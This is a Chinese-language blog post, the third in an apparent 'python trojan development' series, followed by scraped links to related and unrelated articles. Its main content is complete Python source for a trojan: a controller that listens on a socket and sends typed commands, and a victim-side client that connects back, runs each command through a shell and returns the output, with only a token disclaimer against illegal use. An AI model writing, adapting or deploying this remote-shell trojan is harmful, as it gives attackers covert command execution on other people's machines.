python trojan development 3rd —— use python to creative a simple shell
前两篇文章的木马太被动,今天是通过socket和os来进行主动木马编写
有些s13,我真的搞不懂拿一些没过脑子的代码就放到网上去害人,骗流量,还某知名安全企业学院写的,真的服。我的代码自己运行过,很稳,各位慎重,勿做非法之事
因为是木马入门,所以前几篇比较简单,也只是一个模块搭建,后期我会逐步搭建框架,一周我也只会出两三篇来记录自己的编写历程,所以大佬们亲喷
首先当然是控制端
from socket import *
import os
import time
import subprocess
target = "192.168.67.1"
port = 10002
addr = (target,port)
buff = 1024
tcpSock = socket(AF_INET, SOCK_STREAM)
tcpSock.bind(addr)
tcpSock.listen(5)
while True:
conn,addr=tcpSock.accept()
while True:
data = input("input the command:\n")
conn.send(bytes(data,encoding="utf-8"))
getdata = str(conn.recv(buff),encoding="utf-8")
if not getdata:
break
print(getdata)
tcpSock.close()
再就是被控端
import socket
import os
import subprocess
target = "192.168.67.1"
port = 10002
addr = (target,port)
buff = 1024
cli = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
cli.connect(addr)
while True:
data = str(cli.recv(buff),encoding="utf-8")
if not data:
break
print(data)
f =subprocess.Popen(data,shell=True, stdout=subprocess.PIPE).stdout
redata = bytes(str(f.read()),encoding="utf-8")
cli.sendall(redata)
cli.close()
python trojan development 3rd —— use python to creative a simple shell的更多相关文章
- python trojan development 2nd —— use python to send mail and listen to the key board then combine them
请勿用于非法用途!!!!!本人概不负责!!!原创作品,转载说明出处!!!!! from pynput.keyboard import Key,Listener import logging impor ...
- python trojan development 1st —— use python to send mail and caputre the screen then combine them
import smtplib from email.mime.text import MIMEText msg_from='1@qq.com' #发送方邮箱 passwd='bd' #填入发送方邮箱的 ...
- Beginning Python Games Development
Like music and movies, video games are rapidly becoming an integral part of our lives. Over the year ...
- Python Geospatial Development reading note(1)
chapter 1, Summary: In this chapter, we briefly introduced the Python programming language and the m ...
- 【转】linux和windows下安装python集成开发环境及其python包
本系列分为两篇: 1.[转]windows和linux中搭建python集成开发环境IDE 2.[转]linux和windows下安装python集成开发环境及其python包 3.windows和l ...
- python学习: 如何循序渐进学习Python语言
大家都知道Python语言是一种新兴的编程语言.1989年,Python就由Guido van Rossum发明.Python一直发展态势很好. 原因有几点:1.跨平台性好.Linux.Windows ...
- [IT学习]Learn Python the Hard Way (Using Python 3)笨办法学Python3版本
黑客余弦先生在知道创宇的知道创宇研发技能表v3.1中提到了入门Python的一本好书<Learn Python the Hard Way(英文版链接)>.其中的代码全部是2.7版本. 如果 ...
- 『无为则无心』Python基础 — 3、搭建Python开发环境
目录 1.Python开发环境介绍 2.Python解释器的分类 3.下载Python解释器 4.安装Python解释器 5.Python解释器验证 1.Python开发环境介绍 所谓"工欲 ...
- 【python之路1】python安装与环境变量配置
直接搜索 Python,进入官网,找到下载,根据个人电脑操作系统下载相应的软件.小编的是windows os .下载python-2.7.9.msi 安装包 双击安装程序,进入安装步骤.在安装过程中 ...
随机推荐
- e.target e.currenttarget
概述 当事件穿过 DOM 时,识别事件的当前目标对象(Identifies the current target for the event, as the event traverses the D ...
- 如何更好的利用redis
原文地址http://oldblog.antirez.com/post/take-advantage-of-redis-adding-it-to-your-stack.html @(syoka)[re ...
- C++中的模板编程
一,函数模板 1.函数模板的概念 C++中提供了函数模板,所谓函数模板,实际上是建立一个通用函数,其函数的返回值类型和函数的参数类型不具体指定,用一个虚拟的类型来表示.这个通用函数就被称为函数的模板. ...
- python3实现域名查询和whois查询
关键字:python3 域名查询 域名查询接口 whois查询原文:http://www.cnblogs.com/txw1958/archive/2012/08/31/python3-domain-w ...
- 中国新超算彻底告别进口CPU 国产芯片已可与国外抗衡
日前,飞腾已经完成FT-2000plus服务器CPU的研制工作,飞腾公司的合作伙伴正在积极研发相应的整机产品.FT-2000plus这款芯片是以FT2000为基础的改进版本,虽然在单核性能上和Inte ...
- IME输入法编程心得
原文:IME输入法编程心得 posted @ 2012-11-30 00:42 from [FreedomShe] 自然语言处理的输入法作业成品没有做出来,但不想再在蛋疼的Win32上面耗费时间了,整 ...
- C类型和存储方式的语言变量
变量的作用域:有效射程变量 >局部变量 1.在函数中的局部变量,量在该函数结束后自己主动撤销 2.函数内的复合语句中的局部变量(比方for语句),这个变量在复合语句结束后自己主动撤销.这个变量能 ...
- 自动备份Mysql数据库脚本
[root@bogon ~]# cat auto_backup_mysql.sh #!/bin/bash #auto backup mysql db #by authors wugk #define ...
- 生成EF后修改最大长度限制等
右键属性
- vmware linux无法正常上网
不知道自己怎么搞的整的vmware里面的fedora 12 不能正常上网,但是在宿主机上ping XXX,是正常的.当service network restart 的时候提示MAC有问题.网上百度了 ...